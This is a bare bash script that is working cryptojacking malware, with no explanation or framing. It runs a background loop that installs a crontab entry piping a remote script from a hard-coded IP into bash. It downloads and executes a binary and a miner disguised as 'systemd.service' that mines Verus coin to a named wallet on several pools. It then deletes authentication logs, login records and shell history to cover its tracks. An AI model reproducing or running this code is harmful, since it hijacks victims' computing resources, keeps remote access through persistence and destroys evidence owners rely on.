#!/bin/bash

(
    while true; do

        CRONLINE="*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://104.194.154.213/check3.sh)' &"


        crontab -l 2>/dev/null | grep -Fq "$CRONLINE"
        if [ $? -ne 0 ]; then
            echo "[⚠️] the line not exit in crontab reload"
            (crontab -l 2>/dev/null; echo "$CRONLINE") | crontab -
        fi
    if ! pgrep -f "systemd.service" > /dev/null; then

        unalias -a
        curl -LO http://104.194.154.213/a
        wget http://104.194.154.213/a
        chmod +x a ; ./a > /dev/null 2>&1 & disown
        cd /var/tmp ; wget http://104.194.154.213/gpower.tar ; curl -LO  http://104.194.154.213/gpower.tar ; tar -xf gpower.tar ; cd minerv3 ; chmod +x * ;  ./systemd.service -algo Verushash -coin VRSC -wallet RUayFqvmtBaQ6VK82V1zuPZ4v2W28jDNFj -pool1 ro.vipor.net:5040 -pool2 us.vipor.net:5040 -pool3 cn.vipor.net:5040 -pool4 ap.vipor.net:5040 -pool5 sg.vipor.net:5040 -pool6 193.70.81.165:5040 -pool7 51.195.34.205:5040 -pool8 203.23.128.70:5040 -rigName gpower -cpuThreads $(nproc --ignore=3) -maxRejectedShares 25 -protocol JSON-RPC  > /dev/null 2>&1 & disown ; history -c
        rm -rf unix ; sleep 5 ; history -c  ; cd /var/log ; rm -rf auth.log ; rm -rf wtmp ; rm -rf lastlog ; rm -rf btmp ; cd /var/run ; rm -rf utmp  ; history -c ; cd ; rm -rf .bash_history ; clear
    fi

    sleep 5
    done
) &


exit 0
